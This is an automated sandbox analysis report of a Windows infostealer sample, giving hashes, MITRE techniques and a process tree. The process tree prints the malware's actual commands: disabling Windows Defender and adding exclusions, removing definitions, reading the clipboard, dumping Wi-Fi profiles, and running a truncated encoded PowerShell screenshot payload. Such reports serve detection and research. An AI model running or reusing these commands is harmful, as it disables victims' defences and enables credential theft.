a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
04-07-2024 01:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
Size

6.8MB
MD5

70d39508b4784708006b0adaf50107f6
SHA1

252a28a5d464da4784f1fde14b9a87db601981cf
SHA256

a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58
SHA512

7145748a620d17cd019284f93a6fd8d309902c7d3d61d997e4c5831e9795308228462035df1c6c9d6ceec2656ffac291c81658f708cdaf5c065ab53762af1766
SSDEEP

196608:68V1cF3B6ylnlPzf+JiJCsmFMvcn6hVvn:aBRlnlPSa7mmvc+P

Score

8^/10

execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

392 powershell.exe
4828 powershell.exe
464 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

rar.exe

pid process

4768 rar.exe

pid	process
392	powershell.exe
4828	powershell.exe
464	powershell.exe

pid	process
4768	rar.exe

Loads dropped DLL 17 IoCs

Processes:

a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe

pid	process
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI26002\python311.dll	upx
behavioral2/memory/2956-25-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\_ctypes.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\libffi-8.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\_ssl.pyd	upx
behavioral2/memory/2956-48-0x00007FFDFDBF0000-0x00007FFDFDBFF000-memory.dmp	upx
behavioral2/memory/2956-47-0x00007FFDF95A0000-0x00007FFDF95C3000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\libssl-1_1.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI26002\libcrypto-1_1.dll	upx
behavioral2/memory/2956-54-0x00007FFDF9520000-0x00007FFDF954D000-memory.dmp	upx
behavioral2/memory/2956-56-0x00007FFDFBB20000-0x00007FFDFBB39000-memory.dmp	upx
behavioral2/memory/2956-58-0x00007FFDF6110000-0x00007FFDF6133000-memory.dmp	upx
behavioral2/memory/2956-60-0x00007FFDF5370000-0x00007FFDF54DF000-memory.dmp	upx
behavioral2/memory/2956-64-0x00007FFDFB880000-0x00007FFDFB88D000-memory.dmp	upx
behavioral2/memory/2956-68-0x00007FFDF5850000-0x00007FFDF5908000-memory.dmp	upx
behavioral2/memory/2956-67-0x00007FFDF5A30000-0x00007FFDF5A5E000-memory.dmp	upx
behavioral2/memory/2956-63-0x00007FFDF60F0000-0x00007FFDF6109000-memory.dmp	upx
behavioral2/memory/2956-71-0x00007FFDF4E20000-0x00007FFDF5195000-memory.dmp	upx
behavioral2/memory/2956-80-0x00007FFDF59E0000-0x00007FFDF59ED000-memory.dmp	upx
behavioral2/memory/2956-82-0x00007FFDF95A0000-0x00007FFDF95C3000-memory.dmp	upx
behavioral2/memory/2956-79-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp	upx
behavioral2/memory/2956-81-0x00007FFDE6430000-0x00007FFDE654C000-memory.dmp	upx
behavioral2/memory/2956-75-0x00007FFDF5830000-0x00007FFDF5844000-memory.dmp	upx
behavioral2/memory/2956-303-0x00007FFDF5370000-0x00007FFDF54DF000-memory.dmp	upx
behavioral2/memory/2956-312-0x00007FFDF6110000-0x00007FFDF6133000-memory.dmp	upx
behavioral2/memory/2956-308-0x00007FFDF4E20000-0x00007FFDF5195000-memory.dmp	upx
behavioral2/memory/2956-307-0x00007FFDF5850000-0x00007FFDF5908000-memory.dmp	upx
behavioral2/memory/2956-306-0x00007FFDF5A30000-0x00007FFDF5A5E000-memory.dmp	upx
behavioral2/memory/2956-304-0x00007FFDF60F0000-0x00007FFDF6109000-memory.dmp	upx
behavioral2/memory/2956-297-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp	upx
behavioral2/memory/2956-298-0x00007FFDF95A0000-0x00007FFDF95C3000-memory.dmp	upx
behavioral2/memory/2956-329-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp	upx
behavioral2/memory/2956-368-0x00007FFDF5A30000-0x00007FFDF5A5E000-memory.dmp	upx
behavioral2/memory/2956-372-0x00007FFDF5830000-0x00007FFDF5844000-memory.dmp	upx
behavioral2/memory/2956-371-0x00007FFDF59E0000-0x00007FFDF59ED000-memory.dmp	upx
behavioral2/memory/2956-370-0x00007FFDF4E20000-0x00007FFDF5195000-memory.dmp	upx
behavioral2/memory/2956-369-0x00007FFDF5850000-0x00007FFDF5908000-memory.dmp	upx
behavioral2/memory/2956-367-0x00007FFDFB880000-0x00007FFDFB88D000-memory.dmp	upx
behavioral2/memory/2956-366-0x00007FFDF60F0000-0x00007FFDF6109000-memory.dmp	upx
behavioral2/memory/2956-365-0x00007FFDF5370000-0x00007FFDF54DF000-memory.dmp	upx
behavioral2/memory/2956-364-0x00007FFDF6110000-0x00007FFDF6133000-memory.dmp	upx
behavioral2/memory/2956-363-0x00007FFDFBB20000-0x00007FFDFBB39000-memory.dmp	upx
behavioral2/memory/2956-362-0x00007FFDF9520000-0x00007FFDF954D000-memory.dmp	upx
behavioral2/memory/2956-361-0x00007FFDFDBF0000-0x00007FFDFDBFF000-memory.dmp	upx
behavioral2/memory/2956-360-0x00007FFDF95A0000-0x00007FFDF95C3000-memory.dmp	upx
behavioral2/memory/2956-359-0x00007FFDE6430000-0x00007FFDE654C000-memory.dmp	upx
behavioral2/memory/2956-344-0x00007FFDE68C0000-0x00007FFDE6EAA000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

24 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
24	ip-api.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

656 WMIC.exe
Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exe

pid process

3064 tasklist.exe
1476 tasklist.exe
2016 tasklist.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

1800 systeminfo.exe

pid	process
656	WMIC.exe

pid	process
3064	tasklist.exe
1476	tasklist.exe
2016	tasklist.exe

pid	process
1800	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3668	powershell.exe
3668	powershell.exe
392	powershell.exe
392	powershell.exe
4828	powershell.exe
4828	powershell.exe
464	powershell.exe
464	powershell.exe
1132	powershell.exe
1132	powershell.exe
3668	powershell.exe
3668	powershell.exe
392	powershell.exe
392	powershell.exe
4828	powershell.exe
1132	powershell.exe
464	powershell.exe
3052	powershell.exe
3052	powershell.exe
4964	powershell.exe
4964	powershell.exe
4460	powershell.exe
4460	powershell.exe
4492	powershell.exe
4492	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

tasklist.exepowershell.exepowershell.exetasklist.exepowershell.exeWMIC.exetasklist.exepowershell.exepowershell.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	3064	tasklist.exe
Token: SeDebugPrivilege	3668	powershell.exe
Token: SeDebugPrivilege	392	powershell.exe
Token: SeDebugPrivilege	1476	tasklist.exe
Token: SeDebugPrivilege	4828	powershell.exe
Token: SeIncreaseQuotaPrivilege	4176	WMIC.exe
Token: SeSecurityPrivilege	4176	WMIC.exe
Token: SeTakeOwnershipPrivilege	4176	WMIC.exe
Token: SeLoadDriverPrivilege	4176	WMIC.exe
Token: SeSystemProfilePrivilege	4176	WMIC.exe
Token: SeSystemtimePrivilege	4176	WMIC.exe
Token: SeProfSingleProcessPrivilege	4176	WMIC.exe
Token: SeIncBasePriorityPrivilege	4176	WMIC.exe
Token: SeCreatePagefilePrivilege	4176	WMIC.exe
Token: SeBackupPrivilege	4176	WMIC.exe
Token: SeRestorePrivilege	4176	WMIC.exe
Token: SeShutdownPrivilege	4176	WMIC.exe
Token: SeDebugPrivilege	4176	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4176	WMIC.exe
Token: SeRemoteShutdownPrivilege	4176	WMIC.exe
Token: SeUndockPrivilege	4176	WMIC.exe
Token: SeManageVolumePrivilege	4176	WMIC.exe
Token: 33	4176	WMIC.exe
Token: 34	4176	WMIC.exe
Token: 35	4176	WMIC.exe
Token: 36	4176	WMIC.exe
Token: SeDebugPrivilege	2016	tasklist.exe
Token: SeDebugPrivilege	464	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeIncreaseQuotaPrivilege	4176	WMIC.exe
Token: SeSecurityPrivilege	4176	WMIC.exe
Token: SeTakeOwnershipPrivilege	4176	WMIC.exe
Token: SeLoadDriverPrivilege	4176	WMIC.exe
Token: SeSystemProfilePrivilege	4176	WMIC.exe
Token: SeSystemtimePrivilege	4176	WMIC.exe
Token: SeProfSingleProcessPrivilege	4176	WMIC.exe
Token: SeIncBasePriorityPrivilege	4176	WMIC.exe
Token: SeCreatePagefilePrivilege	4176	WMIC.exe
Token: SeBackupPrivilege	4176	WMIC.exe
Token: SeRestorePrivilege	4176	WMIC.exe
Token: SeShutdownPrivilege	4176	WMIC.exe
Token: SeDebugPrivilege	4176	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4176	WMIC.exe
Token: SeRemoteShutdownPrivilege	4176	WMIC.exe
Token: SeUndockPrivilege	4176	WMIC.exe
Token: SeManageVolumePrivilege	4176	WMIC.exe
Token: 33	4176	WMIC.exe
Token: 34	4176	WMIC.exe
Token: 35	4176	WMIC.exe
Token: 36	4176	WMIC.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	4964	powershell.exe
Token: SeIncreaseQuotaPrivilege	2844	WMIC.exe
Token: SeSecurityPrivilege	2844	WMIC.exe
Token: SeTakeOwnershipPrivilege	2844	WMIC.exe
Token: SeLoadDriverPrivilege	2844	WMIC.exe
Token: SeSystemProfilePrivilege	2844	WMIC.exe
Token: SeSystemtimePrivilege	2844	WMIC.exe
Token: SeProfSingleProcessPrivilege	2844	WMIC.exe
Token: SeIncBasePriorityPrivilege	2844	WMIC.exe
Token: SeCreatePagefilePrivilege	2844	WMIC.exe
Token: SeBackupPrivilege	2844	WMIC.exe
Token: SeRestorePrivilege	2844	WMIC.exe
Token: SeShutdownPrivilege	2844	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exea4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exepowershell.execmd.exe

description	pid	process	target process
PID 2600 wrote to memory of 2956	2600	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
PID 2600 wrote to memory of 2956	2600	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
PID 2956 wrote to memory of 1524	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 1524	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 1068	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 1068	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4520	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4520	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4836	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4836	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 2084	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 2084	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 1068 wrote to memory of 3668	1068	cmd.exe	powershell.exe
PID 1068 wrote to memory of 3668	1068	cmd.exe	powershell.exe
PID 1524 wrote to memory of 392	1524	cmd.exe	powershell.exe
PID 1524 wrote to memory of 392	1524	cmd.exe	powershell.exe
PID 4836 wrote to memory of 3064	4836	cmd.exe	tasklist.exe
PID 4836 wrote to memory of 3064	4836	cmd.exe	tasklist.exe
PID 2956 wrote to memory of 4372	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4372	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4872	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4872	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2084 wrote to memory of 1476	2084	cmd.exe	tasklist.exe
PID 2084 wrote to memory of 1476	2084	cmd.exe	tasklist.exe
PID 4520 wrote to memory of 4828	4520	cmd.exe	powershell.exe
PID 4520 wrote to memory of 4828	4520	cmd.exe	powershell.exe
PID 2956 wrote to memory of 4488	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4488	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 852	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 852	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 1740	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 1740	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4068	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4068	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 3040	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 3040	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 4372 wrote to memory of 4176	4372	cmd.exe	WMIC.exe
PID 4372 wrote to memory of 4176	4372	cmd.exe	WMIC.exe
PID 4872 wrote to memory of 1132	4872	cmd.exe	powershell.exe
PID 4872 wrote to memory of 1132	4872	cmd.exe	powershell.exe
PID 4488 wrote to memory of 2016	4488	cmd.exe	tasklist.exe
PID 4488 wrote to memory of 2016	4488	cmd.exe	tasklist.exe
PID 852 wrote to memory of 3940	852	cmd.exe	tree.com
PID 852 wrote to memory of 3940	852	cmd.exe	tree.com
PID 3040 wrote to memory of 464	3040	cmd.exe	powershell.exe
PID 3040 wrote to memory of 464	3040	cmd.exe	powershell.exe
PID 1740 wrote to memory of 5032	1740	cmd.exe	netsh.exe
PID 1740 wrote to memory of 5032	1740	cmd.exe	netsh.exe
PID 4068 wrote to memory of 1800	4068	cmd.exe	systeminfo.exe
PID 4068 wrote to memory of 1800	4068	cmd.exe	systeminfo.exe
PID 2956 wrote to memory of 4892	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 4892	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 4892 wrote to memory of 60	4892	cmd.exe	tree.com
PID 4892 wrote to memory of 60	4892	cmd.exe	tree.com
PID 2956 wrote to memory of 2548	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 2548	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2548 wrote to memory of 1960	2548	cmd.exe	tree.com
PID 2548 wrote to memory of 1960	2548	cmd.exe	tree.com
PID 2956 wrote to memory of 388	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 2956 wrote to memory of 388	2956	a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe	cmd.exe
PID 464 wrote to memory of 840	464	powershell.exe	csc.exe
PID 464 wrote to memory of 840	464	powershell.exe	csc.exe
PID 388 wrote to memory of 4628	388	cmd.exe	tree.com
PID 388 wrote to memory of 4628	388	cmd.exe	tree.com

C:\Users\Admin\AppData\Local\Temp\a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
"C:\Users\Admin\AppData\Local\Temp\a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2600

C:\Users\Admin\AppData\Local\Temp\a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe
"C:\Users\Admin\AppData\Local\Temp\a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe"
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe'"
3⤵
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a4c671e044dc8b9fa3237fa1af2bfa5907676bb93cfc76507014070d45ac4b58.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:392

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
3⤵
- Suspicious use of WriteProcessMemory
PID:1068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3668

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍.scr'"
3⤵
- Suspicious use of WriteProcessMemory
PID:4520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍.scr'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4828

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:4836

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3064

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:2084

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1476

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
3⤵
- Suspicious use of WriteProcessMemory
PID:4372

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4176

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
3⤵
- Suspicious use of WriteProcessMemory
PID:4872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1132

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:4488

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2016

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
- Suspicious use of WriteProcessMemory
PID:852

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:3940

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
3⤵
- Suspicious use of WriteProcessMemory
PID:1740

C:\Windows\system32\netsh.exe
netsh wlan show profile
4⤵
- Event Triggered Execution: Netsh Helper DLL
PID:5032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
3⤵
- Suspicious use of WriteProcessMemory
PID:4068

C:\Windows\system32\systeminfo.exe
systeminfo
4⤵
- Gathers system information
PID:1800

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQB